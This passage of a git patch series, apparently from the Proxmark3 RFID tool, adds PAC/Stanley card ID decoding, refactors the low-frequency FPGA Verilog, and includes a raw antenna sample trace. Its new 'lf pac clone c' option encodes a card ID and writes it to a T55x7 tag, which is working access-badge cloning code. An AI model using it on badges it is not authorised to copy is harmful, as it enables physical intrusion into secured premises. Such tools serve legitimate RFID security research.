uint8_t index = i + (i - 1) / 4; + + uint16_t pattern; + if (i < 12) { + pattern = reflect8(idbytes[i - 2]); + pattern |= oddparity8(pattern); + if (i > 3) checksum ^= idbytes[i - 2]; + } + else + pattern = (reflect8(checksum) & 0xFE) | oddparity8(checksum); + pattern <<= shift; + + outRawBytes[index] |= pattern >> 8 & 0xFF; + outRawBytes[index + 1] |= pattern & 0xFF; + } +} + //see NRZDemod for what args are accepted static int CmdPacDemod(const char *Cmd) { @@ -68,13 +157,14 @@ static int CmdPacDemod(const char *Cmd) { uint32_t raw3 = bytebits_to_byte(DemodBuffer + 64, 32); uint32_t raw4 = bytebits_to_byte(DemodBuffer + 96, 32); - // preamble then appears to have marker bits of "10" CS? - // 11111111001000000 10 01001100 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 00001101 10 10001100 10 100000001 - // unknown checksum 9 bits at the end + const size_t idLen = 9; // 8 bytes + null terminator + uint8_t cardid[idLen]; + int retval = demodbuf_to_pacid(DemodBuffer, DemodBufferLen, cardid, sizeof(cardid)); + + if (retval == PM3_SUCCESS) + PrintAndLogEx(SUCCESS, "PAC/Stanley Tag Found -- Card ID: %s, Raw: %08X%08X%08X%08X", cardid, raw1, raw2, raw3, raw4); - PrintAndLogEx(SUCCESS, "PAC/Stanley Tag Found -- Raw: %08X%08X%08X%08X", raw1, raw2, raw3, raw4); - PrintAndLogEx(INFO, "How the Raw ID is translated by the reader is unknown. Share your trace file on forum"); - return PM3_SUCCESS; + return retval; } static int CmdPacRead(const char *Cmd) { @@ -93,6 +183,21 @@ static int CmdPacClone(const char *Cmd) { switch (tolower(param_getchar(Cmd, cmdp))) { case 'h': return usage_lf_pac_clone(); + case 'c': { + // skip first block, 4*4 = 16 bytes left + uint8_t rawhex[16] = {0}; + char cardid[9]; + int res = param_getstr(Cmd, cmdp + 1, cardid, sizeof(cardid)); + if (res < 8) + errors = true; + + pacCardIdToRaw(rawhex, cardid); + for (uint8_t i = 1; i < ARRAYLEN(blocks); i++) { + blocks[i] = bytes_to_num(rawhex + ((i - 1) * 4), sizeof(uint32_t)); + } + cmdp += 2; + break; + } case 'b': { // skip first block, 4*4 = 16 bytes left uint8_t rawhex[16] = {0}; @@ -115,10 +220,10 @@ static int CmdPacClone(const char *Cmd) { if (errors || cmdp == 0) return usage_lf_pac_clone(); - //Pac - compat mode, NRZ, data rate 40, 3 data blocks - blocks[0] = T55x7_MODULATION_DIRECT | T55x7_BITRATE_RF_40 | 4 << T55x7_MAXBLOCK_SHIFT; + //Pac - compat mode, NRZ, data rate 32, 3 data blocks + blocks[0] = T55x7_MODULATION_DIRECT | T55x7_BITRATE_RF_32 | 4 << T55x7_MAXBLOCK_SHIFT; - PrintAndLogEx(INFO, "Preparing to clone Securakey to T55x7 with raw hex"); + PrintAndLogEx(INFO, "Preparing to clone PAC/Stanley tag to T55x7 with raw hex"); print_blocks(blocks, ARRAYLEN(blocks)); return clone_t55xx_tag(blocks, ARRAYLEN(blocks)); @@ -133,7 +238,7 @@ static int CmdPacSim(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"demod", CmdPacDemod, AlwaysAvailable, "Demodulate an PAC tag from the GraphBuffer"}, + {"demod", CmdPacDemod, AlwaysAvailable, "Demodulate a PAC tag from the GraphBuffer"}, {"read", CmdPacRead, IfPm3Lf, "Attempt to read and extract tag data from the antenna"}, {"clone", CmdPacClone, IfPm3Lf, "clone PAC tag to T55x7"}, {"sim", CmdPacSim, IfPm3Lf, "simulate PAC tag"}, From f0051dc5862600244e595631309504697cfd4ffa Mon Sep 17 00:00:00 2001 From: danshuk Date: Wed, 1 Jan 2020 11:15:06 +0000 Subject: [PATCH 193/418] update changelog --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ee2468215..595064b8b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `c ` option to `lf pac clone` to allow cloning PAC/Stanley tag from card ID (@danshuk) + - Added decoded PAC/Stanley card ID to `lf pac read` (@danshuk) - Chg mifare classic keytable output refactored and uses colors (@iceman1001) - Fix `hf mf nested` - now writes the correct blockno (@iceman1001) - Chg `lf t55xx dump` - now supports saving to JSON (@iceman1001) From 21ffdec1cdbabd6e18620c82ce662fd835a398d0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 1 Jan 2020 18:18:34 +0100 Subject: [PATCH 194/418] chg: hitag refactoring (@anon) --- armsrc/appmain.c | 4 +-- armsrc/fpgaloader.h | 3 +- armsrc/lfops.c | 8 ++--- armsrc/lfsampling.c | 2 +- fpga/fpga_lf.v | 80 ++++++++++++++++++++++++++++-------------- fpga/lo_adc.v | 48 +++++++++++++++---------- fpga/min_max_tracker.v | 6 ++-- 7 files changed, 95 insertions(+), 56 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 62feed4d0..a405db12e 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -175,7 +175,7 @@ void MeasureAntennaTuning(void) { */ FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); SpinDelay(50); for (uint8_t i = 255; i >= 19; i--) { @@ -1518,7 +1518,7 @@ static void PacketReceived(PacketCommandNG *packet) { case 1: // MEASURE_ANTENNA_TUNING_LF_START // Let the FPGA drive the low-frequency antenna around 125kHz FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, packet->data.asBytes[1]); reply_ng(CMD_MEASURE_ANTENNA_TUNING_LF, PM3_SUCCESS, NULL, 0); break; diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 83c5bb2e4..6f27c10ee 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -28,9 +28,10 @@ #define FPGA_CMD_SET_USER_BYTE1 (3<<12) // Definitions for the FPGA configuration word. // LF -#define FPGA_MAJOR_MODE_LF_ADC (0<<5) +#define FPGA_MAJOR_MODE_LF_READER (0<<5) #define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) #define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) +#define FPGA_MAJOR_MODE_LF_ADC (3<<5) // HF #define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) #define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 4c869d9d6..94f7ece2a 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -446,7 +446,7 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint } else { // if field already on leave alone (affects timing otherwise) if (off) { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); LED_D_ON(); off = false; } @@ -470,7 +470,7 @@ void ModThenAcquireRawAdcSamples125k(uint32_t delay_off, uint32_t period_0, uint FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); } - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // now do the read DoAcquisition_config(false, 0); @@ -1524,7 +1524,7 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { */ void TurnReadLFOn(uint32_t delay) { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); // measure antenna strength. //int adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); @@ -2482,7 +2482,7 @@ void Cotag(uint32_t arg0) { # define OFF(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitUS((x)); } #endif #ifndef ON -# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } +# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } #endif uint8_t rawsignal = arg0 & 0xF; diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 48a3f0d97..bdce67ef9 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -104,7 +104,7 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); // Connect the A/D to the peak-detected low-frequency path. SetAdcMuxFor(GPIO_MUXSEL_LOPKD); diff --git a/fpga/fpga_lf.v b/fpga/fpga_lf.v index 88b22b7ca..9c1c2528f 100644 --- a/fpga/fpga_lf.v +++ b/fpga/fpga_lf.v @@ -1,7 +1,29 @@ //----------------------------------------------------------------------------- // Jonathan Westhues, March 2006 // iZsh , June 2014 +// Piwi, Feb 2019 +// Anon, 2019 //----------------------------------------------------------------------------- +// Defining commands, modes and options. This must be aligned to the definitions in fpgaloader.h +// Note: the definitions here are without shifts + +// Commands: +`define FPGA_CMD_SET_CONFREG 1 +`define FPGA_CMD_SET_DIVISOR 2 +`define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD 3 + +// Major modes: +`define FPGA_MAJOR_MODE_LF_READER 0 +`define FPGA_MAJOR_MODE_LF_EDGE_DETECT 1 +`define FPGA_MAJOR_MODE_LF_PASSTHRU 2 +`define FPGA_MAJOR_MODE_LF_ADC 3 + +// Options for LF_ADC +`define FPGA_LF_ADC_READER_FIELD 1 + +// Options for LF_EDGE_DETECT +`define FPGA_LF_EDGE_DETECT_READER_FIELD 1 +`define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 2 `include "lo_read.v" `include "lo_passthru.v" @@ -30,39 +52,44 @@ module fpga_lf( reg [15:0] shift_reg; reg [7:0] divisor; -reg [7:0] conf_word; -reg [7:0] user_byte1; +reg [8:0] conf_word; + +// threshold edge detect +reg [7:0] lf_ed_threshold; always @(posedge ncs) begin - case(shift_reg[15:12]) - 4'b0001: + case (shift_reg[15:12]) + `FPGA_CMD_SET_CONFREG: + begin + conf_word <= shift_reg[8:0]; + if (shift_reg[8:6] == `FPGA_MAJOR_MODE_LF_EDGE_DETECT) begin - conf_word <= shift_reg[7:0]; - if (shift_reg[7:0] == 8'b00000001) begin // LF edge detect - user_byte1 <= 127; // default threshold - end + lf_ed_threshold <= 127; // default threshold end - 4'b0010: divisor <= shift_reg[7:0]; // FPGA_CMD_SET_DIVISOR - 4'b0011: user_byte1 <= shift_reg[7:0]; // FPGA_CMD_SET_USER_BYTE1 + end + `FPGA_CMD_SET_DIVISOR: + divisor <= shift_reg[7:0]; + `FPGA_CMD_SET_EDGE_DETECT_THRESHOLD: + lf_ed_threshold <= shift_reg[7:0]; endcase end +// always @(posedge spck) begin - if(~ncs) + if (~ncs) begin shift_reg[15:1] <= shift_reg[14:0]; shift_reg[0] <= mosi; end end -wire [2:0] major_mode = conf_word[7:5]; +wire [2:0] major_mode = conf_word[8:6]; // For the low-frequency configuration: wire lf_field = conf_word[0]; wire lf_ed_toggle_mode = conf_word[1]; // for lo_edge_detect -wire [7:0] lf_ed_threshold = user_byte1; //----------------------------------------------------------------------------- // And then we instantiate the modules corresponding to each of the FPGA's @@ -106,9 +133,8 @@ lo_adc la( la_pwr_lo, la_pwr_hi, la_pwr_oe1, la_pwr_oe2, la_pwr_oe3, la_pwr_oe4, adc_d, la_adc_clk, la_ssp_frame, la_ssp_din, ssp_dout, la_ssp_clk, - cross_hi, cross_lo, la_dbg, divisor, - lo_is_125khz, lf_field + lf_field ); // Major modes: @@ -118,18 +144,18 @@ lo_adc la( // 011 -- LF ADC (read/write) // 110 -- FPGA_MAJOR_MODE_OFF_LF (rdv40 specific) // 111 -- FPGA_MAJOR_MODE_OFF -// 000 001 010 011 100 101 110 111 -mux8 mux_ssp_clk (major_mode, ssp_clk, lr_ssp_clk, le_ssp_clk, 1'b0, la_ssp_clk, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_ssp_din (major_mode, ssp_din, lr_ssp_din, 1'b0, lp_ssp_din, la_ssp_din, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_ssp_frame (major_mode, ssp_frame, lr_ssp_frame, le_ssp_frame, 1'b0, la_ssp_frame, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe1 (major_mode, pwr_oe1, lr_pwr_oe1, le_pwr_oe1, lp_pwr_oe1, la_pwr_oe1, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe2 (major_mode, pwr_oe2, lr_pwr_oe2, le_pwr_oe2, lp_pwr_oe2, la_pwr_oe2, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe3 (major_mode, pwr_oe3, lr_pwr_oe3, le_pwr_oe3, lp_pwr_oe3, la_pwr_oe3, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_oe4 (major_mode, pwr_oe4, lr_pwr_oe4, le_pwr_oe4, lp_pwr_oe4, la_pwr_oe4, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_pwr_lo (major_mode, pwr_lo, lr_pwr_lo, le_pwr_lo, lp_pwr_lo, la_pwr_lo, 1'b0, 1'b0, 1'b1, 1'b0); -mux8 mux_pwr_hi (major_mode, pwr_hi, lr_pwr_hi, le_pwr_hi, lp_pwr_hi, la_pwr_hi, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_adc_clk (major_mode, adc_clk, lr_adc_clk, le_adc_clk, lp_adc_clk, la_adc_clk, 1'b0, 1'b0, 1'b0, 1'b0); -mux8 mux_dbg (major_mode, dbg, lr_dbg, le_dbg, lp_dbg, la_dbg, 1'b0, 1'b0, 1'b0, 1'b0); +// 000 001 010 011 100 101 110 111 +mux8 mux_ssp_clk (major_mode, ssp_clk, lr_ssp_clk, le_ssp_clk, 1'b0, la_ssp_clk, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_ssp_din (major_mode, ssp_din, lr_ssp_din, 1'b0, lp_ssp_din, la_ssp_din, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_ssp_frame (major_mode, ssp_frame, lr_ssp_frame, le_ssp_frame, 1'b0, la_ssp_frame, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe1 (major_mode, pwr_oe1, lr_pwr_oe1, le_pwr_oe1, lp_pwr_oe1, la_pwr_oe1, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe2 (major_mode, pwr_oe2, lr_pwr_oe2, le_pwr_oe2, lp_pwr_oe2, la_pwr_oe2, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe3 (major_mode, pwr_oe3, lr_pwr_oe3, le_pwr_oe3, lp_pwr_oe3, la_pwr_oe3, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_oe4 (major_mode, pwr_oe4, lr_pwr_oe4, le_pwr_oe4, lp_pwr_oe4, la_pwr_oe4, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_pwr_lo (major_mode, pwr_lo, lr_pwr_lo, le_pwr_lo, lp_pwr_lo, la_pwr_lo, 1'b0, 1'b0, 1'b1, 1'b0); +mux8 mux_pwr_hi (major_mode, pwr_hi, lr_pwr_hi, le_pwr_hi, lp_pwr_hi, la_pwr_hi, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_adc_clk (major_mode, adc_clk, lr_adc_clk, le_adc_clk, lp_adc_clk, la_adc_clk, 1'b0, 1'b0, 1'b0, 1'b0); +mux8 mux_dbg (major_mode, dbg, lr_dbg, le_dbg, lp_dbg, la_dbg, 1'b0, 1'b0, 1'b0, 1'b0); // In all modes, let the ADC's outputs be enabled. assign adc_noe = 1'b0; diff --git a/fpga/lo_adc.v b/fpga/lo_adc.v index 57e9eebc8..8c1dd12e2 100644 --- a/fpga/lo_adc.v +++ b/fpga/lo_adc.v @@ -11,9 +11,8 @@ module lo_adc( pwr_lo, pwr_hi, pwr_oe1, pwr_oe2, pwr_oe3, pwr_oe4, adc_d, adc_clk, ssp_frame, ssp_din, ssp_dout, ssp_clk, - cross_hi, cross_lo, dbg, divisor, - lo_is_125khz, lf_field + lf_field ); input pck0; output pwr_lo, pwr_hi, pwr_oe1, pwr_oe2, pwr_oe3, pwr_oe4; @@ -21,10 +20,8 @@ module lo_adc( output adc_clk; input ssp_dout; output ssp_frame, ssp_din, ssp_clk; - input cross_hi, cross_lo; output dbg; input [7:0] divisor; - input lo_is_125khz; // redundant signal, no longer used anywhere input lf_field; reg [7:0] to_arm_shiftreg; @@ -34,28 +31,39 @@ reg clk_state; // Antenna logic, depending on "lf_field" (in arm defined as FPGA_LF_READER_FIELD) wire tag_modulation; assign tag_modulation = ssp_dout & !lf_field; + wire reader_modulation; assign reader_modulation = !ssp_dout & lf_field & clk_state; -assign pwr_oe1 = 1'b0; // not used in LF mode -assign pwr_oe2 = 1'b0; //tag_modulation; -assign pwr_oe3 = tag_modulation; -assign pwr_oe4 = 1'b0; //tag_modulation; -assign pwr_lo = reader_modulation; + +// always on (High Frequency outputs, unused) +assign pwr_oe1 = 1'b0; assign pwr_hi = 1'b0; + +// low frequency outputs +assign pwr_lo = reader_modulation; +assign pwr_oe2 = 1'b0; // 33 Ohms +assign pwr_oe3 = tag_modulation; // base antenna load = 33 Ohms +assign pwr_oe4 = 1'b0; // 10k Ohms + +// Debug Output ADC clock assign dbg = adc_clk; // ADC clock out of phase with antenna driver assign adc_clk = ~clk_state; + // serialized SSP data is gated by clk_state to suppress unwanted signal assign ssp_din = to_arm_shiftreg[7] && !clk_state; + // SSP clock always runs at 24MHz assign ssp_clk = pck0; + // SSP frame is gated by clk_state and goes high when pck_divider=8..15 assign ssp_frame = (pck_divider[7:3] == 5'd1) && !clk_state; +// divide 24mhz down to 3mhz always @(posedge pck0) begin - if(pck_divider == divisor[7:0]) + if (pck_divider == divisor[7:0]) begin pck_divider <= 8'd0; clk_state = !clk_state; @@ -66,16 +74,20 @@ begin end end +// this task also runs at pck0 frequency (24Mhz) and is used to serialize +// the ADC output which is then clocked into the ARM SSP. always @(posedge pck0) begin - if((pck_divider == 8'd7) && !clk_state) - begin - to_arm_shiftreg <= adc_d; - end - else - begin - to_arm_shiftreg[7:1] <= to_arm_shiftreg[6:0]; - to_arm_shiftreg[0] <= 1'b0; + if ((pck_divider == 8'd7) && !clk_state) + to_arm_shiftreg <= adc_d; + else begin + to_arm_shiftreg[7:1] <= to_arm_shiftreg[6:0]; + // simulation showed a glitch occuring due to the LSB of the shifter + // not being set as we shift bits out + // this ensures the ssp_din remains low after a transfer and suppresses + // the glitch that would occur when the last data shifted out ended in + // a 1 bit and the next data shifted out started with a 0 bit + to_arm_shiftreg[0] <= 1'b0; end end diff --git a/fpga/min_max_tracker.v b/fpga/min_max_tracker.v index 06a395a70..5e8bbedf1 100644 --- a/fpga/min_max_tracker.v +++ b/fpga/min_max_tracker.v @@ -25,7 +25,7 @@ module min_max_tracker(input clk, input [7:0] adc_d, input [7:0] threshold, always @(posedge clk) begin case (state) - 0: + 0: // initialize begin if (cur_max_val >= ({1'b0, adc_d} + threshold)) state <= 2; @@ -36,7 +36,7 @@ module min_max_tracker(input clk, input [7:0] adc_d, input [7:0] threshold, else if (adc_d <= cur_min_val) cur_min_val <= adc_d; end - 1: + 1: // high phase begin if (cur_max_val <= adc_d) cur_max_val <= adc_d; @@ -46,7 +46,7 @@ module min_max_tracker(input clk, input [7:0] adc_d, input [7:0] threshold, max_val <= cur_max_val; end end - 2: + 2: // low phase begin if (adc_d <= cur_min_val) cur_min_val <= adc_d; From dd36ab39f9def186888b2455240813de34cb307e Mon Sep 17 00:00:00 2001 From: danshuk Date: Wed, 1 Jan 2020 19:43:48 +0000 Subject: [PATCH 195/418] add pac trace file --- traces/pac-8E4C058E.pm3 | 30000 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 30000 insertions(+) create mode 100644 traces/pac-8E4C058E.pm3 diff --git a/traces/pac-8E4C058E.pm3 b/traces/pac-8E4C058E.pm3 new file mode 100644 index 000000000..6683686f0 --- /dev/null +++ b/traces/pac-8E4C058E.pm3 @@ -0,0 +1,30000 @@ +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-103 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +92 +86 +79 +74 +69 +65 +60 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +32 +31 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-99 +-91 +-84 +-77 +-71 +-65 +-60 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-24 +-20 +-17 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +90 +84 +79 +74 +69 +65 +60 +58 +53 +50 +47 +45 +43 +40 +37 +36 +35 +34 +31 +29 +27 +27 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-48 +-44 +-40 +-37 +-33 +-29 +-25 +-22 +-19 +-17 +-15 +-13 +-11 +-11 +-9 +-7 +-5 +-4 +-2 +-1 +1 +1 +2 +3 +5 +5 +5 +6 +7 +6 +6 +7 +9 +9 +9 +10 +10 +10 +10 +11 +12 +11 +12 +12 +13 +11 +11 +12 +14 +13 +14 +14 +14 +14 +14 +14 +14 +14 +15 +14 +13 +13 +13 +13 +14 +14 +14 +14 +14 +13 +14 +14 +15 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-82 +-75 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-16 +-15 +-12 +-11 +-9 +-8 +-7 +-5 +-2 +-1 +0 +1 +2 +3 +3 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +11 +10 +11 +11 +11 +11 +11 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +13 +14 +13 +13 +14 +14 +14 +13 +12 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +15 +15 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +14 +13 +13 +14 +14 +14 +15 +15 +14 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +95 +89 +83 +78 +73 +68 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +100 +94 +88 +82 +77 +72 +68 +64 +59 +56 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +96 +90 +85 +79 +74 +69 +65 +61 +57 +53 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +30 +28 +28 +26 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +95 +89 +82 +76 +72 +67 +63 +59 +55 +52 +50 +47 +44 +42 +40 +37 +35 +33 +32 +30 +28 +27 +27 +26 +25 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 